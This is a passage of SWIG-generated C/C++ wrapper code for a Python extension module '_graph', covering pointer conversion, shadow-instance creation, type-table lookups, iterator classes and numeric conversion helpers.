(PyObject *) sobj; } SWIGRUNTIME swig_type_info * SwigPyPacked_UnpackData(PyObject *obj, void *ptr, size_t size) { if (SwigPyPacked_Check(obj)) { SwigPyPacked *sobj = (SwigPyPacked *)obj; if (sobj->size != size) return 0; memcpy(ptr, sobj->pack, size); return sobj->ty; } else { return 0; } } /* ----------------------------------------------------------------------------- * pointers/data manipulation * ----------------------------------------------------------------------------- */ static PyObject *Swig_This_global = NULL; SWIGRUNTIME PyObject * SWIG_This(void) { if (Swig_This_global == NULL) Swig_This_global = SWIG_Python_str_FromChar("this"); return Swig_This_global; } /* #define SWIG_PYTHON_SLOW_GETSET_THIS */ /* TODO: I don't know how to implement the fast getset in Python 3 right now */ #if PY_VERSION_HEX>=0x03000000 #define SWIG_PYTHON_SLOW_GETSET_THIS #endif SWIGRUNTIME SwigPyObject * SWIG_Python_GetSwigThis(PyObject *pyobj) { PyObject *obj; if (SwigPyObject_Check(pyobj)) return (SwigPyObject *) pyobj; #ifdef SWIGPYTHON_BUILTIN (void)obj; # ifdef PyWeakref_CheckProxy if (PyWeakref_CheckProxy(pyobj)) { pyobj = PyWeakref_GET_OBJECT(pyobj); if (pyobj && SwigPyObject_Check(pyobj)) return (SwigPyObject*) pyobj; } # endif return NULL; #else obj = 0; #if !defined(SWIG_PYTHON_SLOW_GETSET_THIS) if (PyInstance_Check(pyobj)) { obj = _PyInstance_Lookup(pyobj, SWIG_This()); } else { PyObject **dictptr = _PyObject_GetDictPtr(pyobj); if (dictptr != NULL) { PyObject *dict = *dictptr; obj = dict ? PyDict_GetItem(dict, SWIG_This()) : 0; } else { #ifdef PyWeakref_CheckProxy if (PyWeakref_CheckProxy(pyobj)) { PyObject *wobj = PyWeakref_GET_OBJECT(pyobj); return wobj ? SWIG_Python_GetSwigThis(wobj) : 0; } #endif obj = PyObject_GetAttr(pyobj,SWIG_This()); if (obj) { Py_DECREF(obj); } else { if (PyErr_Occurred()) PyErr_Clear(); return 0; } } } #else obj = PyObject_GetAttr(pyobj,SWIG_This()); if (obj) { Py_DECREF(obj); } else { if (PyErr_Occurred()) PyErr_Clear(); return 0; } #endif if (obj && !SwigPyObject_Check(obj)) { /* a PyObject is called 'this', try to get the 'real this' SwigPyObject from it */ return SWIG_Python_GetSwigThis(obj); } return (SwigPyObject *)obj; #endif } /* Acquire a pointer value */ SWIGRUNTIME int SWIG_Python_AcquirePtr(PyObject *obj, int own) { if (own == SWIG_POINTER_OWN) { SwigPyObject *sobj = SWIG_Python_GetSwigThis(obj); if (sobj) { int oldown = sobj->own; sobj->own = own; return oldown; } } return 0; } /* Convert a pointer value */ SWIGRUNTIME int SWIG_Python_ConvertPtrAndOwn(PyObject *obj, void **ptr, swig_type_info *ty, int flags, int *own) { int res; SwigPyObject *sobj; int implicit_conv = (flags & SWIG_POINTER_IMPLICIT_CONV) != 0; if (!obj) return SWIG_ERROR; if (obj == Py_None && !implicit_conv) { if (ptr) *ptr = 0; return (flags & SWIG_POINTER_NO_NULL) ? SWIG_NullReferenceError : SWIG_OK; } res = SWIG_ERROR; sobj = SWIG_Python_GetSwigThis(obj); if (own) *own = 0; while (sobj) { void *vptr = sobj->ptr; if (ty) { swig_type_info *to = sobj->ty; if (to == ty) { /* no type cast needed */ if (ptr) *ptr = vptr; break; } else { swig_cast_info *tc = SWIG_TypeCheck(to->name,ty); if (!tc) { sobj = (SwigPyObject *)sobj->next; } else { if (ptr) { int newmemory = 0; *ptr = SWIG_TypeCast(tc,vptr,&newmemory); if (newmemory == SWIG_CAST_NEW_MEMORY) { assert(own); /* badly formed typemap which will lead to a memory leak - it must set and use own to delete *ptr */ if (own) *own = *own | SWIG_CAST_NEW_MEMORY; } } break; } } } else { if (ptr) *ptr = vptr; break; } } if (sobj) { if (own) *own = *own | sobj->own; if (flags & SWIG_POINTER_DISOWN) { sobj->own = 0; } res = SWIG_OK; } else { if (implicit_conv) { SwigPyClientData *data = ty ? (SwigPyClientData *) ty->clientdata : 0; if (data && !data->implicitconv) { PyObject *klass = data->klass; if (klass) { PyObject *impconv; data->implicitconv = 1; /* avoid recursion and call 'explicit' constructors*/ impconv = SWIG_Python_CallFunctor(klass, obj); data->implicitconv = 0; if (PyErr_Occurred()) { PyErr_Clear(); impconv = 0; } if (impconv) { SwigPyObject *iobj = SWIG_Python_GetSwigThis(impconv); if (iobj) { void *vptr; res = SWIG_Python_ConvertPtrAndOwn((PyObject*)iobj, &vptr, ty, 0, 0); if (SWIG_IsOK(res)) { if (ptr) { *ptr = vptr; /* transfer the ownership to 'ptr' */ iobj->own = 0; res = SWIG_AddCast(res); res = SWIG_AddNewMask(res); } else { res = SWIG_AddCast(res); } } } Py_DECREF(impconv); } } } if (!SWIG_IsOK(res) && obj == Py_None) { if (ptr) *ptr = 0; if (PyErr_Occurred()) PyErr_Clear(); res = SWIG_OK; } } } return res; } /* Convert a function ptr value */ SWIGRUNTIME int SWIG_Python_ConvertFunctionPtr(PyObject *obj, void **ptr, swig_type_info *ty) { if (!PyCFunction_Check(obj)) { return SWIG_ConvertPtr(obj, ptr, ty, 0); } else { void *vptr = 0; swig_cast_info *tc; /* here we get the method pointer for callbacks */ const char *doc = (((PyCFunctionObject *)obj) -> m_ml -> ml_doc); const char *desc = doc ? strstr(doc, "swig_ptr: ") : 0; if (desc) desc = ty ? SWIG_UnpackVoidPtr(desc + 10, &vptr, ty->name) : 0; if (!desc) return SWIG_ERROR; tc = SWIG_TypeCheck(desc,ty); if (tc) { int newmemory = 0; *ptr = SWIG_TypeCast(tc,vptr,&newmemory); assert(!newmemory); /* newmemory handling not yet implemented */ } else { return SWIG_ERROR; } return SWIG_OK; } } /* Convert a packed pointer value */ SWIGRUNTIME int SWIG_Python_ConvertPacked(PyObject *obj, void *ptr, size_t sz, swig_type_info *ty) { swig_type_info *to = SwigPyPacked_UnpackData(obj, ptr, sz); if (!to) return SWIG_ERROR; if (ty) { if (to != ty) { /* check type cast? */ swig_cast_info *tc = SWIG_TypeCheck(to->name,ty); if (!tc) return SWIG_ERROR; } } return SWIG_OK; } /* ----------------------------------------------------------------------------- * Create a new pointer object * ----------------------------------------------------------------------------- */ /* Create a new instance object, without calling __init__, and set the 'this' attribute. */ SWIGRUNTIME PyObject* SWIG_Python_NewShadowInstance(SwigPyClientData *data, PyObject *swig_this) { PyObject *inst = 0; PyObject *newraw = data->newraw; if (newraw) { inst = PyObject_Call(newraw, data->newargs, NULL); if (inst) { #if !defined(SWIG_PYTHON_SLOW_GETSET_THIS) PyObject **dictptr = _PyObject_GetDictPtr(inst); if (dictptr != NULL) { PyObject *dict = *dictptr; if (dict == NULL) { dict = PyDict_New(); *dictptr = dict; PyDict_SetItem(dict, SWIG_This(), swig_this); } } #else PyObject *key = SWIG_This(); PyObject_SetAttr(inst, key, swig_this); #endif } } else { #if PY_VERSION_HEX >= 0x03000000 PyObject *empty_args = PyTuple_New(0); if (empty_args) { PyObject *empty_kwargs = PyDict_New(); if (empty_kwargs) { inst = ((PyTypeObject *)data->newargs)->tp_new((PyTypeObject *)data->newargs, empty_args, empty_kwargs); Py_DECREF(empty_kwargs); if (inst) { PyObject_SetAttr(inst, SWIG_This(), swig_this); Py_TYPE(inst)->tp_flags &= ~Py_TPFLAGS_VALID_VERSION_TAG; } } Py_DECREF(empty_args); } #else PyObject *dict = PyDict_New(); if (dict) { PyDict_SetItem(dict, SWIG_This(), swig_this); inst = PyInstance_NewRaw(data->newargs, dict); Py_DECREF(dict); } #endif } return inst; } SWIGRUNTIME void SWIG_Python_SetSwigThis(PyObject *inst, PyObject *swig_this) { PyObject *dict; #if !defined(SWIG_PYTHON_SLOW_GETSET_THIS) PyObject **dictptr = _PyObject_GetDictPtr(inst); if (dictptr != NULL) { dict = *dictptr; if (dict == NULL) { dict = PyDict_New(); *dictptr = dict; } PyDict_SetItem(dict, SWIG_This(), swig_this); return; } #endif dict = PyObject_GetAttrString(inst, "__dict__"); PyDict_SetItem(dict, SWIG_This(), swig_this); Py_DECREF(dict); } SWIGINTERN PyObject * SWIG_Python_InitShadowInstance(PyObject *args) { PyObject *obj[2]; if (!SWIG_Python_UnpackTuple(args, "swiginit", 2, 2, obj)) { return NULL; } else { SwigPyObject *sthis = SWIG_Python_GetSwigThis(obj[0]); if (sthis) { SwigPyObject_append((PyObject*) sthis, obj[1]); } else { SWIG_Python_SetSwigThis(obj[0], obj[1]); } return SWIG_Py_Void(); } } /* Create a new pointer object */ SWIGRUNTIME PyObject * SWIG_Python_NewPointerObj(PyObject *self, void *ptr, swig_type_info *type, int flags) { SwigPyClientData *clientdata; PyObject * robj; int own; if (!ptr) return SWIG_Py_Void(); clientdata = type ? (SwigPyClientData *)(type->clientdata) : 0; own = (flags & SWIG_POINTER_OWN) ? SWIG_POINTER_OWN : 0; if (clientdata && clientdata->pytype) { SwigPyObject *newobj; if (flags & SWIG_BUILTIN_TP_INIT) { newobj = (SwigPyObject*) self; if (newobj->ptr) { PyObject *next_self = clientdata->pytype->tp_alloc(clientdata->pytype, 0); while (newobj->next) newobj = (SwigPyObject *) newobj->next; newobj->next = next_self; newobj = (SwigPyObject *)next_self; #ifdef SWIGPYTHON_BUILTIN newobj->dict = 0; #endif } } else { newobj = PyObject_New(SwigPyObject, clientdata->pytype); #ifdef SWIGPYTHON_BUILTIN newobj->dict = 0; #endif } if (newobj) { newobj->ptr = ptr; newobj->ty = type; newobj->own = own; newobj->next = 0; return (PyObject*) newobj; } return SWIG_Py_Void(); } assert(!(flags & SWIG_BUILTIN_TP_INIT)); robj = SwigPyObject_New(ptr, type, own); if (robj && clientdata && !(flags & SWIG_POINTER_NOSHADOW)) { PyObject *inst = SWIG_Python_NewShadowInstance(clientdata, robj); Py_DECREF(robj); robj = inst; } return robj; } /* Create a new packed object */ SWIGRUNTIMEINLINE PyObject * SWIG_Python_NewPackedObj(void *ptr, size_t sz, swig_type_info *type) { return ptr ? SwigPyPacked_New((void *) ptr, sz, type) : SWIG_Py_Void(); } /* -----------------------------------------------------------------------------* * Get type list * -----------------------------------------------------------------------------*/ #ifdef SWIG_LINK_RUNTIME void *SWIG_ReturnGlobalTypeList(void *); #endif SWIGRUNTIME swig_module_info * SWIG_Python_GetModule(void *SWIGUNUSEDPARM(clientdata)) { static void *type_pointer = (void *)0; /* first check if module already created */ if (!type_pointer) { #ifdef SWIG_LINK_RUNTIME type_pointer = SWIG_ReturnGlobalTypeList((void *)0); #else type_pointer = PyCapsule_Import(SWIGPY_CAPSULE_NAME, 0); if (PyErr_Occurred()) { PyErr_Clear(); type_pointer = (void *)0; } #endif } return (swig_module_info *) type_pointer; } SWIGRUNTIME void SWIG_Python_DestroyModule(PyObject *obj) { swig_module_info *swig_module = (swig_module_info *) PyCapsule_GetPointer(obj, SWIGPY_CAPSULE_NAME); swig_type_info **types = swig_module->types; size_t i; for (i =0; i < swig_module->size; ++i) { swig_type_info *ty = types[i]; if (ty->owndata) { SwigPyClientData *data = (SwigPyClientData *) ty->clientdata; if (data) SwigPyClientData_Del(data); } } Py_DECREF(SWIG_This()); Swig_This_global = NULL; } SWIGRUNTIME void SWIG_Python_SetModule(swig_module_info *swig_module) { #if PY_VERSION_HEX >= 0x03000000 /* Add a dummy module object into sys.modules */ PyObject *module = PyImport_AddModule("swig_runtime_data" SWIG_RUNTIME_VERSION); #else static PyMethodDef swig_empty_runtime_method_table[] = { {NULL, NULL, 0, NULL} }; /* Sentinel */ PyObject *module = Py_InitModule("swig_runtime_data" SWIG_RUNTIME_VERSION, swig_empty_runtime_method_table); #endif PyObject *pointer = PyCapsule_New((void *) swig_module, SWIGPY_CAPSULE_NAME, SWIG_Python_DestroyModule); if (pointer && module) { PyModule_AddObject(module, "type_pointer_capsule" SWIG_TYPE_TABLE_NAME, pointer); } else { Py_XDECREF(pointer); } } /* The python cached type query */ SWIGRUNTIME PyObject * SWIG_Python_TypeCache(void) { static PyObject *SWIG_STATIC_POINTER(cache) = PyDict_New(); return cache; } SWIGRUNTIME swig_type_info * SWIG_Python_TypeQuery(const char *type) { PyObject *cache = SWIG_Python_TypeCache(); PyObject *key = SWIG_Python_str_FromChar(type); PyObject *obj = PyDict_GetItem(cache, key); swig_type_info *descriptor; if (obj) { descriptor = (swig_type_info *) PyCapsule_GetPointer(obj, NULL); } else { swig_module_info *swig_module = SWIG_GetModule(0); descriptor = SWIG_TypeQueryModule(swig_module, swig_module, type); if (descriptor) { obj = PyCapsule_New((void*) descriptor, NULL, NULL); PyDict_SetItem(cache, key, obj); Py_DECREF(obj); } } Py_DECREF(key); return descriptor; } /* For backward compatibility only */ #define SWIG_POINTER_EXCEPTION 0 #define SWIG_arg_fail(arg) SWIG_Python_ArgFail(arg) #define SWIG_MustGetPtr(p, type, argnum, flags) SWIG_Python_MustGetPtr(p, type, argnum, flags) SWIGRUNTIME int SWIG_Python_AddErrMesg(const char* mesg, int infront) { if (PyErr_Occurred()) { PyObject *type = 0; PyObject *value = 0; PyObject *traceback = 0; PyErr_Fetch(&type, &value, &traceback); if (value) { PyObject *old_str = PyObject_Str(value); const char *tmp = SWIG_Python_str_AsChar(old_str); const char *errmesg = tmp ? tmp : "Invalid error message"; Py_XINCREF(type); PyErr_Clear(); if (infront) { PyErr_Format(type, "%s %s", mesg, errmesg); } else { PyErr_Format(type, "%s %s", errmesg, mesg); } SWIG_Python_str_DelForPy3(tmp); Py_DECREF(old_str); } return 1; } else { return 0; } } SWIGRUNTIME int SWIG_Python_ArgFail(int argnum) { if (PyErr_Occurred()) { /* add information about failing argument */ char mesg[256]; PyOS_snprintf(mesg, sizeof(mesg), "argument number %d:", argnum); return SWIG_Python_AddErrMesg(mesg, 1); } else { return 0; } } SWIGRUNTIMEINLINE const char * SwigPyObject_GetDesc(PyObject *self) { SwigPyObject *v = (SwigPyObject *)self; swig_type_info *ty = v ? v->ty : 0; return ty ? ty->str : ""; } SWIGRUNTIME void SWIG_Python_TypeError(const char *type, PyObject *obj) { if (type) { #if defined(SWIG_COBJECT_TYPES) if (obj && SwigPyObject_Check(obj)) { const char *otype = (const char *) SwigPyObject_GetDesc(obj); if (otype) { PyErr_Format(PyExc_TypeError, "a '%s' is expected, 'SwigPyObject(%s)' is received", type, otype); return; } } else #endif { const char *otype = (obj ? obj->ob_type->tp_name : 0); if (otype) { PyObject *str = PyObject_Str(obj); const char *cstr = str ? SWIG_Python_str_AsChar(str) : 0; if (cstr) { PyErr_Format(PyExc_TypeError, "a '%s' is expected, '%s(%s)' is received", type, otype, cstr); SWIG_Python_str_DelForPy3(cstr); } else { PyErr_Format(PyExc_TypeError, "a '%s' is expected, '%s' is received", type, otype); } Py_XDECREF(str); return; } } PyErr_Format(PyExc_TypeError, "a '%s' is expected", type); } else { PyErr_Format(PyExc_TypeError, "unexpected type is received"); } } /* Convert a pointer value, signal an exception on a type mismatch */ SWIGRUNTIME void * SWIG_Python_MustGetPtr(PyObject *obj, swig_type_info *ty, int SWIGUNUSEDPARM(argnum), int flags) { void *result; if (SWIG_Python_ConvertPtr(obj, &result, ty, flags) == -1) { PyErr_Clear(); #if SWIG_POINTER_EXCEPTION if (flags) { SWIG_Python_TypeError(SWIG_TypePrettyName(ty), obj); SWIG_Python_ArgFail(argnum); } #endif } return result; } #ifdef SWIGPYTHON_BUILTIN SWIGRUNTIME int SWIG_Python_NonDynamicSetAttr(PyObject *obj, PyObject *name, PyObject *value) { PyTypeObject *tp = obj->ob_type; PyObject *descr; PyObject *encoded_name; descrsetfunc f; int res = -1; # ifdef Py_USING_UNICODE if (PyString_Check(name)) { name = PyUnicode_Decode(PyString_AsString(name), PyString_Size(name), NULL, NULL); if (!name) return -1; } else if (!PyUnicode_Check(name)) # else if (!PyString_Check(name)) # endif { PyErr_Format(PyExc_TypeError, "attribute name must be string, not '%.200s'", name->ob_type->tp_name); return -1; } else { Py_INCREF(name); } if (!tp->tp_dict) { if (PyType_Ready(tp) < 0) goto done; } descr = _PyType_Lookup(tp, name); f = NULL; if (descr != NULL) f = descr->ob_type->tp_descr_set; if (!f) { if (PyString_Check(name)) { encoded_name = name; Py_INCREF(name); } else { encoded_name = PyUnicode_AsUTF8String(name); if (!encoded_name) return -1; } PyErr_Format(PyExc_AttributeError, "'%.100s' object has no attribute '%.200s'", tp->tp_name, PyString_AsString(encoded_name)); Py_DECREF(encoded_name); } else { res = f(descr, obj, value); } done: Py_DECREF(name); return res; } #endif #ifdef __cplusplus } #endif #define SWIG_exception_fail(code, msg) do { SWIG_Error(code, msg); SWIG_fail; } while(0) #define SWIG_contract_assert(expr, msg) if (!(expr)) { SWIG_Error(SWIG_RuntimeError, msg); SWIG_fail; } else #ifdef __cplusplus extern "C" { #endif /* Method creation and docstring support functions */ SWIGINTERN PyMethodDef *SWIG_PythonGetProxyDoc(const char *name); SWIGINTERN PyObject *SWIG_PyInstanceMethod_New(PyObject *SWIGUNUSEDPARM(self), PyObject *func); SWIGINTERN PyObject *SWIG_PyStaticMethod_New(PyObject *SWIGUNUSEDPARM(self), PyObject *func); #ifdef __cplusplus } #endif #define SWIG_exception(code, msg) do { SWIG_Error(code, msg); SWIG_fail;; } while(0) /* -------- TYPES TABLE (BEGIN) -------- */ #define SWIGTYPE_p_EasyLogger swig_types[0] #define SWIGTYPE_p_Graph swig_types[1] #define SWIGTYPE_p_TNode swig_types[2] #define SWIGTYPE_p_char swig_types[3] #define SWIGTYPE_p_std__invalid_argument swig_types[4] #define SWIGTYPE_p_std__listT_TNode_p_std__allocatorT_TNode_p_t_t swig_types[5] #define SWIGTYPE_p_std__unordered_mapT_std__string_TNode_p_std__hashT_std__string_t_std__equal_toT_std__string_t_std__allocatorT_std__pairT_std__string_const_TNode_p_t_t_t swig_types[6] #define SWIGTYPE_p_swig__SwigPyIterator swig_types[7] static swig_type_info *swig_types[9]; static swig_module_info swig_module = {swig_types, 8, 0, 0, 0, 0}; #define SWIG_TypeQuery(name) SWIG_TypeQueryModule(&swig_module, &swig_module, name) #define SWIG_MangledTypeQuery(name) SWIG_MangledTypeQueryModule(&swig_module, &swig_module, name) /* -------- TYPES TABLE (END) -------- */ #ifdef SWIG_TypeQuery # undef SWIG_TypeQuery #endif #define SWIG_TypeQuery SWIG_Python_TypeQuery /*----------------------------------------------- @(target):= _graph.so ------------------------------------------------*/ #if PY_VERSION_HEX >= 0x03000000 # define SWIG_init PyInit__graph #else # define SWIG_init init_graph #endif #define SWIG_name "_graph" #define SWIGVERSION 0x040001 #define SWIG_VERSION SWIGVERSION #define SWIG_as_voidptr(a) const_cast< void * >(static_cast< const void * >(a)) #define SWIG_as_voidptrptr(a) ((void)SWIG_as_voidptr(*a),reinterpret_cast< void** >(a)) #include <stdexcept> namespace swig { class SwigPtr_PyObject { protected: PyObject *_obj; public: SwigPtr_PyObject() :_obj(0) { } SwigPtr_PyObject(const SwigPtr_PyObject& item) : _obj(item._obj) { SWIG_PYTHON_THREAD_BEGIN_BLOCK; Py_XINCREF(_obj); SWIG_PYTHON_THREAD_END_BLOCK; } SwigPtr_PyObject(PyObject *obj, bool initial_ref = true) :_obj(obj) { if (initial_ref) { SWIG_PYTHON_THREAD_BEGIN_BLOCK; Py_XINCREF(_obj); SWIG_PYTHON_THREAD_END_BLOCK; } } SwigPtr_PyObject & operator=(const SwigPtr_PyObject& item) { SWIG_PYTHON_THREAD_BEGIN_BLOCK; Py_XINCREF(item._obj); Py_XDECREF(_obj); _obj = item._obj; SWIG_PYTHON_THREAD_END_BLOCK; return *this; } ~SwigPtr_PyObject() { SWIG_PYTHON_THREAD_BEGIN_BLOCK; Py_XDECREF(_obj); SWIG_PYTHON_THREAD_END_BLOCK; } operator PyObject *() const { return _obj; } PyObject *operator->() const { return _obj; } }; } namespace swig { struct SwigVar_PyObject : SwigPtr_PyObject { SwigVar_PyObject(PyObject* obj = 0) : SwigPtr_PyObject(obj, false) { } SwigVar_PyObject & operator = (PyObject* obj) { Py_XDECREF(_obj); _obj = obj; return *this; } }; } #include <string> #include <typeinfo> #include <stdexcept> #if defined(__GNUC__) # if __GNUC__ == 2 && __GNUC_MINOR <= 96 # define SWIG_STD_NOMODERN_STL # endif #endif #include <stddef.h> #include <utility> #include <iostream> #if PY_VERSION_HEX >= 0x03020000 # define SWIGPY_SLICE_ARG(obj) ((PyObject*) (obj)) #else # define SWIGPY_SLICE_ARG(obj) ((PySliceObject*) (obj)) #endif namespace swig { struct stop_iteration { }; struct SwigPyIterator { private: SwigPtr_PyObject _seq; protected: SwigPyIterator(PyObject *seq) : _seq(seq) { } public: virtual ~SwigPyIterator() {} // Access iterator method, required by Python virtual PyObject *value() const = 0; // Forward iterator method, required by Python virtual SwigPyIterator *incr(size_t n = 1) = 0; // Backward iterator method, very common in C++, but not required in Python virtual SwigPyIterator *decr(size_t /*n*/ = 1) { throw stop_iteration(); } // Random access iterator methods, but not required in Python virtual ptrdiff_t distance(const SwigPyIterator &/*x*/) const { throw std::invalid_argument("operation not supported"); } virtual bool equal (const SwigPyIterator &/*x*/) const { throw std::invalid_argument("operation not supported"); } // C++ common/needed methods virtual SwigPyIterator *copy() const = 0; PyObject *next() { SWIG_PYTHON_THREAD_BEGIN_BLOCK; // disable threads PyObject *obj = value(); incr(); SWIG_PYTHON_THREAD_END_BLOCK; // re-enable threads return obj; } /* Make an alias for Python 3.x */ PyObject *__next__() { return next(); } PyObject *previous() { SWIG_PYTHON_THREAD_BEGIN_BLOCK; // disable threads decr(); PyObject *obj = value(); SWIG_PYTHON_THREAD_END_BLOCK; // re-enable threads return obj; } SwigPyIterator *advance(ptrdiff_t n) { return (n > 0) ? incr(n) : decr(-n); } bool operator == (const SwigPyIterator& x) const { return equal(x); } bool operator != (const SwigPyIterator& x) const { return ! operator==(x); } SwigPyIterator& operator += (ptrdiff_t n) { return *advance(n); } SwigPyIterator& operator -= (ptrdiff_t n) { return *advance(-n); } SwigPyIterator* operator + (ptrdiff_t n) const { return copy()->advance(n); } SwigPyIterator* operator - (ptrdiff_t n) const { return copy()->advance(-n); } ptrdiff_t operator - (const SwigPyIterator& x) const { return x.distance(*this); } static swig_type_info* descriptor() { static int init = 0; static swig_type_info* desc = 0; if (!init) { desc = SWIG_TypeQuery("swig::SwigPyIterator *"); init = 1; } return desc; } }; #if defined(SWIGPYTHON_BUILTIN) inline PyObject* make_output_iterator_builtin (PyObject *pyself) { Py_INCREF(pyself); return pyself; } #endif } SWIGINTERN int SWIG_AsVal_double (PyObject *obj, double *val) { int res = SWIG_TypeError; if (PyFloat_Check(obj)) { if (val) *val = PyFloat_AsDouble(obj); return SWIG_OK; #if PY_VERSION_HEX < 0x03000000 } else if (PyInt_Check(obj)) { if (val) *val = (double) PyInt_AsLong(obj); return SWIG_OK; #endif } else if (PyLong_Check(obj)) { double v = PyLong_AsDouble(obj); if (!PyErr_Occurred()) { if (val) *val = v; return SWIG_OK; } else { PyErr_Clear(); } } #ifdef SWIG_PYTHON_CAST_MODE { int dispatch = 0; double d = PyFloat_AsDouble(obj); if (!PyErr_Occurred()) { if (val) *val = d; return SWIG_AddCast(SWIG_OK); } else { PyErr_Clear(); } if (!dispatch) { long v = PyLong_AsLong(obj); if (!PyErr_Occurred()) { if (val) *val = v; return SWIG_AddCast(SWIG_AddCast(SWIG_OK)); } else { PyErr_Clear(); } } } #endif return res; } #include <float.h> #include <math.h> SWIGINTERNINLINE int SWIG_CanCastAsInteger(double *d, double min, double max) { double x = *d; if ((min <= x && x <= max)) { double fx = floor(x); double cx = ceil(x); double rd = ((x - fx) < 0.5) ? fx : cx; /* simple rint */ if ((errno == EDOM) || (errno == ERANGE)) { errno = 0; } else { double summ, reps, diff; if (rd < x) { diff = x - rd; } else if (rd > x) { diff = rd - x; } else { return 1; } summ = rd + x; reps = diff/summ; if (reps < 8*DBL_EPSILON) { *d = rd; return 1; } } } return 0; } SWIGINTERN int SWIG_AsVal_unsigned_SS_long (PyObject *obj, unsigned long *val) { #if PY_VERSION_HEX < 0x03000000 if (PyInt_Check(obj)) { long v = PyInt_AsLong(obj); if (v >= 0) { if (val) *val = v; return SWIG_OK; } else { return SWIG_OverflowError; } } else #endif if (PyLong_Check(obj)) { unsigned long v = PyLong_AsUnsignedLong(obj); if (!PyErr_Occurred()) { if (val) *val = v; return SWIG_OK; } else { PyErr_Clear(); return SWIG_OverflowError; } } #ifdef SWIG_PYTHON_CAST_MODE { int dispatch = 0; unsigned long v = PyLong_AsUnsignedLong(obj); if (!PyErr_Occurred()) { if (val) *val = v; return SWIG_AddCast(SWIG_OK); } else { PyErr_Clear(); } if (!dispatch) { double d; int res = SWIG_AddCast(SWIG_AsVal_double (obj,&d)); if (SWIG_IsOK(res) && SWIG_CanCastAsInteger(&d, 0, ULONG_MAX)) { if (val) *val = (unsigned long)(d); return res; } } } #endif return SWIG_TypeError; } #include <limits.h> #if !defined(SWIG_NO_LLONG_MAX) # if !defined(LLONG_MAX) && defined(__GNUC__) && defined (__LONG_LONG_MAX__) # define LLONG_MAX __LONG_LONG_MAX__ # define LLONG_MIN (-LLONG_MAX - 1LL) # define ULLONG_MAX (LLONG_MAX * 2ULL + 1ULL) # endif #endif #if defined(LLONG_MAX) && !defined(SWIG_LONG_LONG_AVAILABLE) # define SWIG_LONG_LONG_AVAILABLE #endif #ifdef SWIG_LONG_LONG_AVAILABLE SWIGINTERN int SWIG_AsVal_unsigned_SS_long_SS_long (PyObject *obj, unsigned long long *val) { int res = SWIG_TypeError; if (PyLong_Check(obj)) { unsigned long long v = PyLong_AsUnsignedLongLong(obj); if (!PyErr_Occurred()) { if (val) *val = v; return SWIG_OK; } else { PyErr_Clear(); res = SWIG_OverflowError; } } else { unsigned long v; res = SWIG_AsVal_unsigned_SS_long (obj,&v); if (SWIG_IsOK(res)) { if (val) *val = v; return res; } } #ifdef SWIG_PYTHON_CAST_MODE { const double mant_max = 1LL << DBL_MANT_DIG; double d; res = SWIG_AsVal_double (obj,&d); if (SWIG_IsOK(res) && !SWIG_CanCastAsInteger(&d, 0, mant_max)) return SWIG_OverflowError; if (SWIG_IsOK(res) && SWIG_CanCastAsInteger(&d, 0, mant_max)) { if (val) *val = (unsigned long long)(d); return SWIG_AddCast(res); } res = SWIG_TypeError; } #endif return res; } #endif SWIGINTERNINLINE int SWIG_AsVal_size_t (PyObject * obj, size_t *val) { int res = SWIG_TypeError; #ifdef SWIG_LONG_LONG_AVAILABLE if (sizeof(size_t) <= sizeof(unsigned long)) { #endif unsigned long v; res = SWIG_AsVal_unsigned_SS_long (obj, val ? &v : 0); if (SWIG_IsOK(res) && val) *val = static_cast< size_t >(v); #ifdef SWIG_LONG_LONG_AVAILABLE } else if (sizeof(size_t) <= sizeof(unsigned long long)) { unsigned long long v; res = SWIG_AsVal_unsigned_SS_long_SS_long (obj, val ? &v : 0); if (SWIG_IsOK(res) && val) *val = static_cast< size_t >(v); } #endif return res; } #define SWIG_From_long PyInt_FromLong #ifdef SWIG_LONG_LONG_AVAILABLE SWIGINTERNINLINE PyObject* SWIG_From_long_SS_long (long long value) { return ((value < LONG_MIN) || (value > LONG_MAX)) ? PyLong_FromLongLong(value) : PyInt_FromLong(static_cast< long >(value)); } #endif SWIGINTERNINLINE PyObject * SWIG_From_ptrdiff_t (ptrdiff_t value) { #ifdef SWIG_LONG_LONG_AVAILABLE if (sizeof(ptrdiff_t) <= sizeof(long)) { #endif return SWIG_From_long (static_cast< long >(value)); #ifdef SWIG_LONG_LONG_AVAILABLE } else { /* assume sizeof(ptrdiff_t) <= sizeof(long long) */ return SWIG_From_long_SS_long (static_cast< long long >(value)); } #endif } SWIGINTERNINLINE PyObject* SWIG_From_bool (bool value) { return PyBool_FromLong(value ? 1 : 0); } SWIGINTERN int SWIG_AsVal_long (PyObject *obj, long* val) { #if PY_VERSION_HEX < 0x03000000 if (PyInt_Check(obj)) { if (val) *val = PyInt_AsLong(obj); return SWIG_OK; } else #endif if (PyLong_Check(obj)) { long v = PyLong_AsLong(obj); if (!PyErr_Occurred()) { if (val) *val = v; return SWIG_OK; } else { PyErr_Clear(); return SWIG_OverflowError; } } #ifdef SWIG_PYTHON_CAST_MODE { int dispatch = 0; long v = PyInt_AsLong(obj); if (!PyErr_Occurred()) { if (val) *val = v; return SWIG_AddCast(SWIG_OK); } else { PyErr_Clear(); } if (!dispatch) { double d; int res = SWIG_AddCast(SWIG_AsVal_double (obj,&d)); if (SWIG_IsOK(res) && SWIG_CanCastAsInteger(&d, LONG_MIN, LONG_MAX)) { if (val) *val = (long)(d); return res; } } } #endif return SWIG_TypeError; } #ifdef SWIG_LONG_LONG_AVAILABLE SWIGINTERN int SWIG_AsVal_long_SS_long (PyObject *obj, long long *val) { int res = SWIG_TypeError; if (PyLong_Check(obj)) { long long v = PyLong_AsLongLong(obj); if (!PyErr_Occurred()) { if (val) *val = v; return SWIG_OK; } else { PyErr_Clear(); res = SWIG_OverflowError; } } else { long v; res = SWIG_AsVal_long (obj,&v); if (SWIG_IsOK(res)) { if (val) *val = v; return res; } } #ifdef SWIG_PYTHON_CAST_MODE { const double mant_max = 1LL << DBL_MANT_DIG; const double mant_min = -mant_max; double d; res = SWIG_AsVal_double (obj,&d); if (SWIG_IsOK(res) && !SWIG_CanCastAsInteger(&d, mant_min, mant_max)) return SWIG_OverflowError; if (SWIG_IsOK(res) && SWIG_CanCastAsInteger(&d, mant_min, mant_max)) { if (val) *val = (long long)(d); return SWIG_AddCast(res); } res = SWIG_TypeError; } #endif return res; } #endif SWIGINTERNINLINE int SWIG_AsVal_ptrdiff_t (PyObject * obj, ptrdiff_t *val) { int res = SWIG_TypeError; #ifdef SWIG_LONG_LONG_AVAILABLE if (sizeof(ptrdiff_t) <= sizeof(long)) { #endif long v; res = SWIG_AsVal_long (obj, val ? &v : 0); if (SWIG_IsOK(res) && val) *val = 